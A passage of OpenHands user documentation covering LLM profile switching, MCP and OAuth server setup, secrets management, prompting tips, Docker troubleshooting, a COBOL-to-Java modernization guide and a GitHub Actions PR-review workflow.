-- **Edit**: Modify the profile's LLM configuration -- **Rename**: Change the profile name -- **Set as Active**: Make this profile the default for new conversations -- **Delete**: Remove the profile - - -You can save up to 10 LLM profiles per account. Delete unused profiles if you need to create new ones. - - -### Switching Profiles During a Conversation - -One of the most powerful features of LLM profiles is the ability to switch models mid-conversation without losing context. -This allows you to: - -- Start with a fast, cost-effective model for initial exploration -- Switch to a more powerful model when the task requires deeper reasoning -- Use specialized models for specific types of tasks - -For example, you might create profiles like these: - -| Example Profile | Example Use | Example Cost Pattern | -| --- | --- | --- | -| `claude-opus-4-7` | Frontend design and visual polish | Higher cost | -| `gpt-5.5` | Planning, instruction following, or review | Balanced for complex reasoning | -| `minimax-m2.7` | Day-to-day implementation | Lower cost | - -The profile names above are examples. Use names that match the saved profiles in your OpenHands environment. - -To switch profiles during an active conversation: - -1. Look for the **profile selector button** in the chat input area. It displays the name of the currently active profile. -2. Click the button to open the profile menu. -3. Select the profile you want to switch to. - -The conversation will continue with the new model, maintaining all previous context and history. The switch takes effect -immediately for subsequent messages. - - -The profile selector shows a checkmark next to the currently active profile. If no profile matches the running model, -the button will show "Select a model" as a placeholder. - - -### Switching Profiles with the `/model` Slash Command - -You can also list and switch profiles directly from the chat input using the `/model` slash command: - -- `/model` — Lists your saved LLM profiles. -- `/model ` — Switches the running conversation to that profile. - -This is equivalent to using the profile selector button and works without leaving the chat. Profile names must match the -saved profile exactly. The switch applies to future agent steps; it does not rerun earlier messages. - -A common workflow is to use a stronger model for planning and then switch to a lower-cost model for implementation: - -1. Start the conversation with `gpt-5.5` selected. -2. Ask OpenHands to plan the work before editing files: - - ```text - Plan the OpenHands features page. Do not edit files yet. - ``` - -3. Send `/model` to list available profiles. -4. Send `/model minimax-m2.7` to switch profiles. -5. Ask OpenHands to implement the plan: - - ```text - Now implement the plan. - ``` - -![Agent Canvas showing example /model command output that lists saved profiles and switches to another profile](/openhands/static/img/model-command-agent-canvas.png) - - -Model switching requires saved LLM profiles. If `/model` is not suggested in the chat input, create profiles in -`Settings > LLM` and confirm that your backend supports profile switching. - - -### Letting the Agent Select Models Dynamically - -When the model selection tool is available, the agent can choose a saved profile for the next phase of work. For example, -it can implement frontend changes with a design-focused model and then switch to an instruction-following model for review. - -In the Agent SDK, this capability is exposed as the built-in `SwitchLLMTool`, which produces `switch_llm` tool calls. -Agent Canvas displays those tool calls as `Switch LLM profile` events in the conversation timeline so you can see when -and why the model changed. - -Create the profiles you want the agent to choose from, then ask OpenHands to use specific profiles for different phases -of the task. For example: - -```text -Implement a simple web page on the features of OpenHands with Claude Opus 4.7, and then switch to GPT-5.5 and review the code. -``` - -![Agent Canvas showing example switch_llm tool calls that move a task between saved profiles](/openhands/static/img/model-selection-tool-agent-canvas.png) - -The model selection tool behaves as follows: - -- The current model decides to call the tool and provides a short reason. -- The switch takes effect on the next LLM call after the tool succeeds. -- Conversation history, files, and task state are preserved. -- If a profile name is missing or misspelled, the tool returns an error and the agent should choose a valid profile or - ask for help. - -For custom SDK agents, include `SwitchLLMTool` when constructing the agent. See the SDK example: -[examples/01_standalone_sdk/49_switch_llm_tool.py](https://github.com/OpenHands/software-agent-sdk/blob/main/examples/01_standalone_sdk/49_switch_llm_tool.py). - -### How Profile Switching Works - -When you switch profiles during a conversation: - -1. The new LLM configuration is loaded from your saved profile -2. The conversation context (all previous messages and actions) is preserved -3. Future messages are processed using the new model -4. The conversation metadata is updated to reflect the new model - -This seamless switching allows you to leverage different models' strengths without starting a new conversation or -losing your progress. - -### Best Practices for Using LLM Profiles - -- **Name profiles descriptively**: Use names like "Claude Sonnet - Fast" or "GPT-4 - Complex Tasks" to easily - identify which profile to use. -- **Create task-specific profiles**: Set up profiles optimized for different workflows, such as code review, - documentation, or debugging. -- **Keep API keys updated**: Ensure each profile has a valid API key. -- **Test before critical work**: When switching profiles mid-conversation, send a simple test message to confirm - the new model is responding correctly. - -### Model Context Protocol (MCP) -Source: https://docs.openhands.dev/openhands/usage/settings/mcp-settings.md - -## Overview - -Model Context Protocol (MCP) is a mechanism that allows OpenHands to communicate with external tool servers. These -servers can provide additional functionality to the agent, such as specialized data processing, external API access, -or custom tools. MCP is based on the open standard defined at [modelcontextprotocol.io](https://modelcontextprotocol.io). - -## Supported MCPs - -OpenHands supports the following MCP transport protocols: - -* [Server-Sent Events (SSE)](https://modelcontextprotocol.io/specification/2024-11-05/basic/transports#http-with-sse) -* [Streamable HTTP (SHTTP)](https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#streamable-http) -* [Standard Input/Output (stdio)](https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#stdio) - -## How MCP Works - -When OpenHands starts, it: - -1. Reads the MCP configuration. -2. Connects to any configured SSE and SHTTP servers. -3. Starts any configured stdio servers. -4. Registers the tools provided by these servers with the agent. - -The agent can then use these tools just like any built-in tool. When the agent calls an MCP tool: - -1. OpenHands routes the call to the appropriate MCP server. -2. The server processes the request and returns a response. -3. OpenHands converts the response to an observation and presents it to the agent. - -## Configuration - -MCP configuration can be defined in: -* The OpenHands UI in the `Settings > MCP` page. -* The `config.toml` file under the `[mcp]` section if not using the UI. - -### Configuration Options - - - - SSE servers are configured using either a string URL or an object with the following properties: - - - `url` (required) - - Type: `str` - - Description: The URL of the SSE server. - - - `api_key` (optional) - - Type: `str` - - Description: API key for authentication. - - - SHTTP (Streamable HTTP) servers are configured using either a string URL or an object with the following properties: - - - `url` (required) - - Type: `str` - - Description: The URL of the SHTTP server. - - - `api_key` (optional) - - Type: `str` - - Description: API key for authentication. - - - `timeout` (optional) - - Type: `int` - - Default: `60` - - Range: `1-3600` seconds (1 hour maximum) - - Description: Timeout in seconds for tool execution. This prevents tool calls from hanging indefinitely. - - **Use Cases:** - - **Short timeout (1-30s)**: For lightweight operations like status checks or simple queries. - - **Medium timeout (30-300s)**: For standard processing tasks like data analysis or API calls. - - **Long timeout (300-3600s)**: For heavy operations like file processing, complex calculations, or batch operations. - - This timeout only applies to individual tool calls, not server connection establishment. - - - - - While stdio servers are supported, [we recommend using MCP proxies](/openhands/usage/settings/mcp-settings#configuration-examples) for - better reliability and performance. - - - Stdio servers are configured using an object with the following properties: - - - `name` (required) - - Type: `str` - - Description: A unique name for the server. Accepted characters are letters, digits, underscores (`_`), and hyphens (`-`). For example, `integrations-hub` is a valid name. - - - `command` (required) - - Type: `str` - - Description: The command to run the server. - - - `args` (optional) - - Type: `list of str` - - Default: `[]` - - Description: Command-line arguments to pass to the server. - - - `env` (optional) - - Type: `dict of str to str` - - Default: `{}` - - Description: Environment variables to set for the server process. - - - -#### When to Use Direct Stdio - -Direct stdio connections may still be appropriate in these scenarios: -- **Development and testing**: Quick prototyping of MCP servers. -- **Simple, single-use tools**: Tools that don't require high reliability or concurrent access. -- **Local-only environments**: When you don't want to manage additional proxy processes. - -### Configuration Examples - - - - For stdio-based MCP servers, we recommend using MCP proxy tools like - [`supergateway`](https://github.com/supercorp-ai/supergateway) instead of direct stdio connections. - [SuperGateway](https://github.com/supercorp-ai/supergateway) is a popular MCP proxy that converts stdio MCP servers to - HTTP/SSE endpoints. - - Start the proxy servers separately: - ```bash - # Terminal 1: Filesystem server proxy - supergateway --stdio "npx @modelcontextprotocol/server-filesystem /" --port 8080 - - # Terminal 2: Fetch server proxy - supergateway --stdio "uvx mcp-server-fetch" --port 8081 - ``` - - Then configure OpenHands to use the HTTP endpoint: - - ```toml - [mcp] - # SSE Servers - Recommended approach using proxy tools - sse_servers = [ - # Basic SSE server with just a URL - "http://example.com:8080/mcp", - - # SuperGateway proxy for fetch server - "http://localhost:8081/sse", - - # External MCP service with authentication - {url="https://api.example.com/mcp/sse", api_key="your-api-key"} - ] - - # SHTTP Servers - Modern streamable HTTP transport (recommended) - shttp_servers = [ - # Basic SHTTP server with default 60s timeout - "https://api.example.com/mcp/shttp", - - # Server with custom timeout for heavy operations - { - url = "https://files.example.com/mcp/shttp", - api_key = "your-api-key", - timeout = 1800 # 30 minutes for large file processing - } - ] - ``` - - - - This setup is not Recommended for production. - - ```toml - [mcp] - # Direct stdio servers - use only for development/testing - stdio_servers = [ - # Basic stdio server - {name="fetch", command="uvx", args=["mcp-server-fetch"]}, - - # Stdio server with environment variables - { - name="filesystem", - command="npx", - args=["@modelcontextprotocol/server-filesystem", "/"], - env={ - "DEBUG": "true" - } - } - ] - ``` - - For production use, we recommend using proxy tools like SuperGateway. - - - -Other options include: - -- **Custom FastAPI/Express servers**: Build your own HTTP wrapper around stdio MCP servers. -- **Docker-based proxies**: Containerized solutions for better isolation. -- **Cloud-hosted MCP services**: Third-party services that provide MCP endpoints. - -## Manage Installed Servers - -In Agent Canvas, open `Customize > MCP Servers` to manage installed MCP servers. Use the control on an installed server card to disable it without deleting its configuration or saved credentials. Disabled servers are unavailable to new conversations until you enable them again. - -Adding, editing, renaming, or deleting one server does not remove saved credentials for your other servers. Use the editor's delete action only when you want to remove that server configuration. Editing a disabled server does not enable it. - -## OAuth Authentication - -Some MCP servers (like Notion MCP) require OAuth authentication instead of API keys. OpenHands supports OAuth-based MCP servers through the [FastMCP](https://gofastmcp.com/) library. - -### How OAuth Works - -When you configure an OAuth-enabled MCP server: - -1. **First connection**: When the agent first attempts to use tools from an OAuth-protected MCP server, OpenHands initiates the OAuth flow -2. **Browser authentication**: A browser window opens automatically for you to authorize access -3. **Token storage**: After authorization, tokens are securely stored locally in `~/.fastmcp/oauth-mcp-client-cache/` -4. **Automatic refresh**: FastMCP automatically refreshes tokens as needed - -### Configuration - - - - Use the `--auth oauth` flag when adding an MCP server: - - ```bash - openhands mcp add notion --transport http \ - --auth oauth \ - https://mcp.notion.com/mcp - ``` - - This creates a configuration in `~/.openhands/mcp.json`: - ```json - { - "mcpServers": { - "notion": { - "url": "https://mcp.notion.com/mcp", - "transport": "http", - "auth": "oauth" - } - } - } - ``` - - - Configure OAuth in your `mcp_config`: - - ```python - mcp_config = { - "mcpServers": { - "notion": { - "url": "https://mcp.notion.com/mcp", - "auth": "oauth" - } - } - } - agent = Agent(llm=llm, tools=tools, mcp_config=mcp_config) - ``` - - See the [SDK MCP Guide](/sdk/guides/mcp) for complete examples. - - - Add the `auth` field to your server configuration: - - ```toml - [mcp] - shttp_servers = [ - {url = "https://mcp.notion.com/mcp", auth = "oauth"} - ] - ``` - - - - -OAuth MCP servers require user interaction for the initial authentication. This means they may not be suitable for fully automated/headless workflows. For automation, consider using API key-based authentication where available. - - -### Secrets Management -Source: https://docs.openhands.dev/openhands/usage/settings/secrets-settings.md - -## Overview - -OpenHands provides a secrets manager that allows you to securely store and manage sensitive information that can be -accessed by the agent during runtime, such as API keys. These secrets are automatically exported as environment -variables in the agent's runtime environment. - -## Accessing the Secrets Manager - -Navigate to the `Settings > Secrets` page. Here, you'll see a list of all your existing custom secrets. - -## Adding a New Secret -1. Click `Add a new secret`. -2. Fill in the following fields: - - **Name**: A unique identifier for your secret (e.g., `AWS_ACCESS_KEY`). This will be the environment variable name. - - **Value**: The sensitive information you want to store. - - **Description** (optional): A brief description of what the secret is used for, which is also provided to the agent. -3. Click `Add secret` to save. - -## Editing a Secret - -1. Click the `Edit` button next to the secret you want to modify. -2. Update its name, value, or description. -3. Save the changes. - -For security, the existing value is not displayed. Enter a replacement value when you need to overwrite it. - -## Deleting a Secret - -1. Click the `Delete` button next to the secret you want to remove. -2. Select `Confirm` to delete the secret. - -## Using Secrets in the Agent - - All custom secrets are automatically exported as environment variables in the agent's runtime environment. - - You can access them in your code using standard environment variable access methods. For example, if you create a - secret named `OPENAI_API_KEY`, you can access it in your code as `process.env.OPENAI_API_KEY` in JavaScript or - `os.environ['OPENAI_API_KEY']` in Python. - -### Prompting Best Practices -Source: https://docs.openhands.dev/openhands/usage/tips/prompting-best-practices.md - -## Characteristics of Good Prompts - -Good prompts are: - -- **Concrete**: Clearly describe what functionality should be added or what error needs fixing. -- **Location-specific**: Specify the locations in the codebase that should be modified, if known. -- **Appropriately scoped**: Focus on a single feature, typically not exceeding 100 lines of code. - -## Examples - -### Good Prompt Examples - -- Add a function `calculate_average` in `utils/math_operations.py` that takes a list of numbers as input and returns their average. -- Fix the TypeError in `frontend/src/components/UserProfile.tsx` occurring on line 42. The error suggests we're trying to access a property of undefined. -- Implement input validation for the email field in the registration form. Update `frontend/src/components/RegistrationForm.tsx` to check if the email is in a valid format before submission. - -### Bad Prompt Examples - -- Make the code better. (Too vague, not concrete) -- Rewrite the entire backend to use a different framework. (Not appropriately scoped) -- There's a bug somewhere in the user authentication. Can you find and fix it? (Lacks specificity and location information) - -## Tips for Effective Prompting - -- Be as specific as possible about the desired outcome or the problem to be solved. -- Provide context, including relevant file paths and line numbers if available. -- Break large tasks into smaller, manageable prompts. -- Include relevant error messages or logs. -- Specify the programming language or framework, if not obvious. - -The more precise and informative your prompt, the better OpenHands can assist you. - -See [First Projects](/overview/first-projects) for more examples of helpful prompts. - -### Troubleshooting -Source: https://docs.openhands.dev/openhands/usage/troubleshooting/troubleshooting.md - - -OpenHands only supports Windows via WSL. Please be sure to run all commands inside your WSL terminal. - - -### Launch docker client failed - -**Description** - -When running OpenHands, the following error is seen: -``` -Launch docker client failed. Please make sure you have installed docker and started docker desktop/daemon. -``` - -**Resolution** - -Try these in order: -* Confirm `docker` is running on your system. You should be able to run `docker ps` in the terminal successfully. -* If using Docker Desktop, ensure `Settings > Advanced > Allow the default Docker socket to be used` is enabled. -* Depending on your configuration you may need `Settings > Resources > Network > Enable host networking` enabled in Docker Desktop. -* Reinstall Docker Desktop. - -### Permission Error - -**Description** - -On initial prompt, an error is seen with `Permission Denied` or `PermissionError`. - -**Resolution** - -* Check if the `~/.openhands` is owned by `root`. If so, you can: - * Change the directory's ownership: `sudo chown : ~/.openhands`. - * or update permissions on the directory: `sudo chmod 777 ~/.openhands` - * or delete it if you don’t need previous data. OpenHands will recreate it. You'll need to re-enter LLM settings. -* If mounting a local directory, ensure your `WORKSPACE_BASE` has the necessary permissions for the user running - OpenHands. - -### On Linux, Getting ConnectTimeout Error - -**Description** - -When running on Linux, you might run into the error `ERROR:root:: timed out`. - -**Resolution** - -If you installed Docker from your distribution’s package repository (e.g., docker.io on Debian/Ubuntu), be aware that -these packages can sometimes be outdated or include changes that cause compatibility issues. try reinstalling Docker -[using the official instructions](https://docs.docker.com/engine/install/) to ensure you are running a compatible version. - -If that does not solve the issue, try incrementally adding the following parameters to the docker run command: -* `--network host` -* `-e SANDBOX_USE_HOST_NETWORK=true` -* `-e DOCKER_HOST_ADDR=127.0.0.1` - -### Internal Server Error. Ports are not available - -**Description** - -When running on Windows, the error `Internal Server Error ("ports are not available: exposing port TCP -...: bind: An attempt was made to access a socket in a -way forbidden by its access permissions.")` is encountered. - -**Resolution** - -* Run the following command in PowerShell, as Administrator to reset the NAT service and release the ports: -``` -Restart-Service -Name "winnat" -``` - -### Unable to access VS Code tab via local IP - -**Description** - -When accessing OpenHands through a non-localhost URL (such as a LAN IP address), the VS Code tab shows a "Forbidden" -error, while other parts of the UI work fine. - -**Resolution** - -This happens because VS Code runs on a random high port that may not be exposed or accessible from other machines. -To fix this: - -1. Set a specific port for VS Code using the `SANDBOX_VSCODE_PORT` environment variable: - ```bash - docker run -it --rm \ - -e SANDBOX_VSCODE_PORT=41234 \ - -e AGENT_SERVER_IMAGE_REPOSITORY=ghcr.io/openhands/agent-server \ - -e AGENT_SERVER_IMAGE_TAG=1.26.0-python \ - -v /var/run/docker.sock:/var/run/docker.sock \ - -v ~/.openhands:/.openhands \ - -p 3000:3000 \ - -p 41234:41234 \ - --add-host host.docker.internal:host-gateway \ - --name openhands-app \ - docker.openhands.dev/openhands/openhands:latest - ``` - - -2. Make sure to expose the same port with `-p 41234:41234` in your Docker command. -3. If running with the development workflow, you can set this in your `config.toml` file: - ```toml - [sandbox] - vscode_port = 41234 - ``` - -### User Skills Not Loading in Docker - -**Description** - -When running OpenHands via Docker, custom skills placed in `~/.openhands/skills/` or `~/.agents/skills/` on the host -machine are not loaded. The skill loader logs show `'user': 0`. - -**Resolution** - -The agent-server container cannot see your host filesystem by default. Mount your local skills directory into the -sandbox using the `SANDBOX_VOLUMES` environment variable: - -```bash --e SANDBOX_VOLUMES="$HOME/.agents/skills:/home/openhands/.agents/skills:ro" -``` - - - Mount into `~/.agents/skills` inside the container, not `~/.openhands/skills`. The latter would overwrite - the public skills cache and prevent built-in skills from loading. - - -See [User Skills When Running OpenHands on Your Own](/overview/skills/org#user-skills-when-running-openhands-on-your-own) for the full Docker command. - -### GitHub Organization Rename Issues - -**Description** - -After the GitHub organization rename from `All-Hands-AI` to `OpenHands`, you may encounter issues with git remotes, Docker images, or broken links. - -**Resolution** - -* Update your git remote URL: - ```bash - # Check current remote - git remote get-url origin - - # Update SSH remote - git remote set-url origin git@github.com:OpenHands/OpenHands.git - - # Or update HTTPS remote - git remote set-url origin https://github.com/OpenHands/OpenHands.git - ``` -* Update Docker image references from `ghcr.io/all-hands-ai/` to `ghcr.io/openhands/` -* Find and update any hardcoded references: - ```bash - git grep -i "all-hands-ai" - git grep -i "ghcr.io/all-hands-ai" - ``` - -### COBOL Modernization -Source: https://docs.openhands.dev/openhands/usage/use-cases/cobol-modernization.md - - - Check out the complete COBOL modernization plugin with ready-to-use code and configuration. - - -Legacy COBOL systems power critical business operations across banking, insurance, government, and retail. OpenHands can help you understand, document, and modernize these systems while preserving their essential business logic. - - -This guide is based on our blog post [Refactoring COBOL to Java with AI Agents](https://openhands.dev/blog/20251218-cobol-to-java-refactoring). - - -## The COBOL Modernization Challenge - -[COBOL](https://en.wikipedia.org/wiki/COBOL) modernization is one of the most pressing challenges facing enterprises today. Gartner estimated there were over 200 billion lines of COBOL code in existence, running 80% of the world's business systems. As of 2020, COBOL was still running background processes for 95% of credit and debit card transactions. - -The challenge is acute: [47% of organizations](https://softwaremodernizationservices.com/mainframe-modernization) struggle to fill COBOL roles, with salaries rising 25% annually. By 2027, 92% of remaining COBOL developers will have retired. Traditional modernization approaches have seen high failure rates, with COBOL's specialized nature requiring a unique skill set that makes it difficult for human teams alone. - -## Overview - -COBOL modernization is a complex undertaking. Every modernization effort is unique and requires careful planning, execution, and validation to ensure the modernized code behaves identically to the original. The migration needs to be driven by an experienced team of developers and domain experts, but even that isn't sufficient to ensure the job is done quickly or cost-effectively. This is where OpenHands comes in. - -OpenHands is a powerful agent that assists in modernizing COBOL code along every step of the process: - -1. **Understanding**: Analyze and document existing COBOL code -2. **Translation**: Convert COBOL to modern languages like Java, Python, or C# -3. **Validation**: Ensure the modernized code behaves identically to the original - -In this document, we will explore the different ways OpenHands contributes to COBOL modernization, with example prompts and techniques to use in your own efforts. While the examples are specific to COBOL, the principles laid out here can help with any legacy system modernization. - -## Understanding - -A significant challenge in modernization is understanding the business function of the code. Developers have practice determining the "how" of the code, even in legacy systems with unfamiliar syntax and keywords, but understanding the "why" is more important to ensure that business logic is preserved accurately. The difficulty then comes from the fact that business function is only implicitly represented in the code and requires external documentation or domain expertise to untangle. - -Fortunately, agents like OpenHands are able to understand source code _and_ process-oriented documentation, and this simultaneous view lets them link the two together in a way that makes every downstream process more transparent and predictable. Your COBOL source might already have some structure or comments that make this link clear, but if not OpenHands can help. If your COBOL source is in `/src` and your process-oriented documentation is in `/docs`, the following prompt will establish a link between the two and save it for future reference: - -``` -For each COBOL program in `/src`, identify which business functions it supports. Search through the documentation in `/docs` to find all relevant sections describing that business function, and generate a summary of how the program supports that function. - -Save the results in `business_functions.json` in the following format: - -{ - ..., - "COBIL00C.cbl": { - "function": "Bill payment -- pay account balance in full and a transaction action for the online payment", - "references": [ - "docs/billing.md#bill-payment", - "docs/transactions.md#transaction-action" - ], - }, - ... -} -``` - -OpenHands uses tools like `grep`, `sed`, and `awk` to navigate files and pull in context. This is natural for source code and also works well for process-oriented documentation, but in some cases exposing the latter using a _semantic search engine_ instead will yield better results. Semantic search engines can understand the meaning behind words and phrases, making it easier to find relevant information. - -## Translation - -With a clear picture of what each program does and why, the next step is translating the COBOL source into your target language. The example prompts in this section target Java, but the same approach works for Python, C#, or any modern language. Just adjust for language-specific idioms and data types as needed. - -One thing to watch out for: COBOL keywords and data types do not always match one-to-one with their Java counterparts. For example, COBOL's decimal data type (`PIC S9(9)V9(9)`), which represents a fixed-point number with a scale of 9 digits, does not have a direct equivalent in Java. Instead, you might use `BigDecimal` with a scale of 9, but be aware of potential precision issues when converting between the two. A solid test suite will help catch these corner cases but including such _known problems_ in the translation prompt can help prevent such errors from being introduced at all. - -An example prompt is below: - -``` -Convert the COBOL files in `/src` to Java in `/src/java`. - -Requirements: -1. Create a Java class for each COBOL program -2. Preserve the business logic and data structures (see `business_functions.json`) -3. Use appropriate Java naming conventions (camelCase for methods, PascalCase) -4. Convert COBOL data types to appropriate Java types (use BigDecimal for decimal data types) -5. Implement proper error handling with try-catch blocks -6. Add JavaDoc comments explaining the purpose of each class and method -7. In JavaDoc comments, include traceability to the original COBOL source using - the format: @source : (e.g., @source CBACT01C.cbl:73-77) -8. Create a clean, maintainable object-oriented design -9. Each Java file should be compilable and follow Java best practices -``` - -Note the rule that introduces traceability comments to the resulting Java. These comments help agents understand the provenance of the code, but are also helpful for developers attempting to understand the migration process. They can be used, for example, to check how much COBOL code has been translated into Java or to identify areas where business logic has been distributed across multiple Java classes. - -## Validation - -Building confidence in the migrated code is crucial. Ideally, existing end-to-end tests can be reused to validate that business logic has been preserved. If you need to strengthen the testing setup, consider _golden file testing_. This involves capturing the COBOL program's outputs for a set of known inputs, then verifying the translated code produces identical results. When generating inputs, pay particular attention to decimal precision in monetary calculations (COBOL's fixed-point arithmetic doesn't always map cleanly to Java's BigDecimal) and date handling, where COBOL's conventions can diverge from modern defaults. - -Every modernization effort is unique, and developer experience is crucial to ensure the testing strategy covers your organization's requirements. Best practices still apply. A solid test suite will not only ensure the migrated code works as expected, but will also help the translation agent converge to a high-quality solution. Of course, OpenHands can help migrate tests, ensure they run and test the migrated code correctly, and even generate new tests to cover edge cases. - -## Scaling Up - -The largest challenge in scaling modernization efforts is dealing with agents' limited attention span. Asking a single agent to handle the entire migration process in one go will almost certainly lead to errors and low-quality code as the context window is filled and flushed again and again. One way to address this is by tying translation and validation together in an iterative refinement loop. - -The idea is straightforward: one agent migrates some amount of code, and another agent critiques the migration. If the quality doesn't meet the standards of the critic, the first agent is given some actionable feedback and the process repeats. Here's what that looks like using the [OpenHands SDK](https://github.com/OpenHands/software-agent-sdk): - -```python -while current_score < QUALITY_THRESHOLD and iteration < MAX_ITERATIONS: - # Migrating agent converts COBOL to Java - migration_conversation.send_message(migration_prompt) - migration_conversation.run() - - # Critiquing agent evaluates the conversion - critique_conversation.send_message(critique_prompt) - critique_conversation.run() - - # Parse the score and decide whether to continue - current_score = parse_critique_score(critique_file) -``` - -By tweaking the critic's prompt and scoring rubric, you can fine-tune the evaluation process to better align with your needs. For example, you might have code quality standards that are difficult to detect with static analysis tools or architectural patterns that are unique to your organization. The following prompt can be easily modified to support a wide range of requirements: - -``` -Evaluate the quality of the COBOL to Java migration in `/src`. - -For each Java file, assess using the following criteria: -1. Correctness: Does the Java code preserve the original business logic (see `business_functions.json`)? -2. Code Quality: Is the code clean, readable, and following Java 17 conventions? -3. Completeness: Are all COBOL features properly converted? -4. Best Practices: Does it use proper OOP, error handling, and documentation? - -For each instance of a criteria not met, deduct a point. - -Then generate a report containing actionable feedback for each file. The feedback, if addressed, should improve the score. - -Save the results in `critique.json` in the following format: - -{ - "total_score": -12, - "files": [ - { - "cobol": "COBIL00C.cbl", - "java": "bill_payment.java", - "scores": { - "correctness": 0, - "code_quality": 0, - "completeness": -1, - "best_practices": -2 - }, - "feedback": [ - "Rename single-letter variables to meaningful names.", - "Ensure all COBOL functionality is translated -- the transaction action for the bill payment is missing.", - ], - }, - ... - ] -} -``` - -In future iterations, the migration agent should be given the file `critique.json` and be prompted to act on the feedback. - -This iterative refinement pattern works well for medium-sized projects with a moderate level of complexity. For legacy systems that span hundreds of files, however, the migration and critique processes need to be further decomposed to prevent agents from being overwhelmed. A natural way to do so is to break the system into smaller components, each with its own migration and critique processes. This process can be automated by using the OpenHands large codebase SDK, which combines agentic intelligence with static analysis tools to decompose large projects and orchestrate parallel agents in a dependency-aware manner. - -## Try It Yourself - -The full iterative refinement example is available in the OpenHands SDK: - -```bash -export LLM_API_KEY="your-api-key" -cd software-agent-sdk -uv run python examples/01_standalone_sdk/31_iterative_refinement.py -``` - -For real-world COBOL files, you can use the [AWS CardDemo application](https://github.com/aws-samples/aws-mainframe-modernization-carddemo/tree/main/app/cbl), which provides a representative mainframe application for testing modernization approaches. - - -## Related Resources - -- [OpenHands SDK Repository](https://github.com/OpenHands/software-agent-sdk) - Build custom AI agents -- [AWS CardDemo Application](https://github.com/aws-samples/aws-mainframe-modernization-carddemo/tree/main/app/cbl) - Sample COBOL application for testing -- [Prompting Best Practices](/openhands/usage/tips/prompting-best-practices) - Write effective prompts - -### Automated Code Review -Source: https://docs.openhands.dev/openhands/usage/use-cases/code-review.md - - - Check out the complete PR review plugin with ready-to-use code and configuration. - - -Automated code review helps maintain code quality, catch bugs early, and enforce coding standards consistently across your team. OpenHands provides a GitHub Actions workflow powered by the [Software Agent SDK](/sdk/index) that automatically reviews pull requests and posts inline comments directly on your PRs. - -## Overview - -The OpenHands PR Review workflow is a GitHub Actions workflow that: - -- **Triggers automatically** when PRs are opened or when you request a review -- **Analyzes code changes** in the context of your entire repository -- **Posts inline comments** directly on specific lines of code in the PR -- **Provides fast feedback** - typically within 2-3 minutes - -## How It Works - -The PR review workflow uses the OpenHands Software Agent SDK to analyze your code changes: - -1. **Trigger**: The workflow runs when: - - A new non-draft PR is opened - - A draft PR is marked as ready for review - - The `review-this` label is added to a PR - - `openhands-agent` is requested as a reviewer - -2. **Analysis**: The agent receives the complete PR diff and uses two skills: - - [**`/codereview`**](https://github.com/OpenHands/extensions/tree/main/skills/code-review): Analyzes code for quality, security, data structures, and best practices with a focus on simplicity and pragmatism - - [**`/github-pr-review`**](https://github.com/OpenHands/extensions/tree/main/skills/github-pr-review): Posts structured inline comments via the GitHub API - -3. **Output**: Review comments are posted directly on the PR with: - - Priority labels (🔴 Critical, 🟠 Important, 🟡 Suggestion, 🟢 Nit) - - Specific line references - - Actionable suggestions with code examples - -## Quick Start - - - - Create `.github/workflows/pr-review-by-openhands.yml` in your repository: - - ```yaml - name: PR Review by OpenHands - - on: - pull_request_target: - types: [opened, ready_for_review, labeled, review_requested] - - permissions: - contents: read - pull-requests: write - issues: write - - jobs: - pr-review: - if: | - (github.event.action == 'opened' && github.event.pull_request.draft == false) || - github.event.action == 'ready_for_review' || - github.event.label.name == 'review-this' || - github.event.requested_reviewer.login == 'openhands-agent' - runs-on: ubuntu-latest - steps: - - name: Run PR Review - uses: OpenHands/extensions/plugins/pr-review@main - with: - llm-model: anthropic/claude-sonnet-4-5-20250929 - llm-api-key: ${{ secrets.LLM_API_KEY }} - github-token: ${{ secrets.GITHUB_TOKEN }} - ``` - - - - Go to your repository's **Settings → Secrets and variables → Actions** and add: - - **`LLM_API_KEY`**: Your LLM API key (get one from [OpenHands LLM Provider](/openhands/usage/llms/openhands-llms)) - - - - Create a `review-this` label in your repository: - 1. Go to **Issues → Labels** - 2. Click **New label** - 3. Name: `review-this` - 4. Description: `Trigger OpenHands PR review` - - - - Open a PR and either: - - Add the `review-this` label, OR - - Request `openhands-agent` as a reviewer - - - -### In a Conversation - -You can also trigger a code review manually in any OpenHands conversation. First, install the skill: - -``` -/add-skill https://github.com/OpenHands/extensions/tree/main/skills/code-review -``` - -Then invoke it: - -``` -/codereview -``` - -The agent will ask for the PR to review, or you can provide context directly: - -``` -/codereview — Please review PR #123 on my-org/my-repo. -Focus on the new authentication middleware. -``` - -## Composite Action - - -**Action Path Updated:** The PR review action has moved to the extensions repository. If your workflow still references the old path, update it: -- **Old:** `OpenHands/software-agent-sdk/.github/actions/pr-review@main` -- **New:** `OpenHands/extensions/plugins/pr-review@main` - - -The workflow uses a reusable composite action that handles all the setup automatically: - -- Checking out the extensions repository at the specified version -- Setting up Python and dependencies -- Running the PR review agent (from extensions repo) -- Uploading logs as artifacts - -### Action Inputs - -| Input | Description | Required | Default | -|-------|-------------|----------|---------| -| `agent-kind` | Review backend: `openhands` for the standard SDK agent or `acp` for an ACP-compatible agent server | No | `openhands` | -| `llm-model` | LLM model(s). Comma-separated to run multiple reviews and compare results (A/B testing). In ACP mode this is passed to the ACP server when supported. | No | `anthropic/claude-sonnet-4-5-20250929` | -| `acp-command` | Command used to start the ACP server. Required when `agent-kind` is `acp`. Examples: `npx -y @zed-industries/codex-acp@0.12.0`, `codex-acp`, `claude-agent-acp`, `npx -y @agentclientprotocol/claude-agent-acp` | Yes for ACP mode | `''` | -| `acp-prompt-timeout` | Timeout in seconds for one ACP prompt turn | No | `1800` | -| `llm-base-url` | LLM base URL (for custom endpoints) | No | `''` | -| `review-style` | **[DEPRECATED]** Previously chose between `standard` and `roasted`. Now ignored — the styles have been merged. | No | `roasted` | -| `require-evidence` | Require the reviewer to enforce an `Evidence` section in the PR description with end-to-end proof | No | `'false'` | -| `use-sub-agents` | Enable sub-agent delegation for file-level reviews in `openhands` mode. Ignored in ACP mode. | No | `'false'` | -| `extensions-repo` | Extensions repository (owner/repo) | No | `OpenHands/extensions` | -| `extensions-version` | Git ref for extensions (tag, branch, or commit SHA) | No | `main` | -| `openhands-sdk-package` | Package spec passed to `uv --with`; override only when pinning a specific SDK build for testing or rollout control | No | `openhands-sdk` | -| `llm-api-key` | LLM API key. Required when `agent-kind` is `openhands`; ignored in ACP mode. | Yes for OpenHands mode | - | -| `github-token` | GitHub token for API access | Yes | - | -| `lmnr-api-key` | Laminar API key for observability | No | `''` | -| 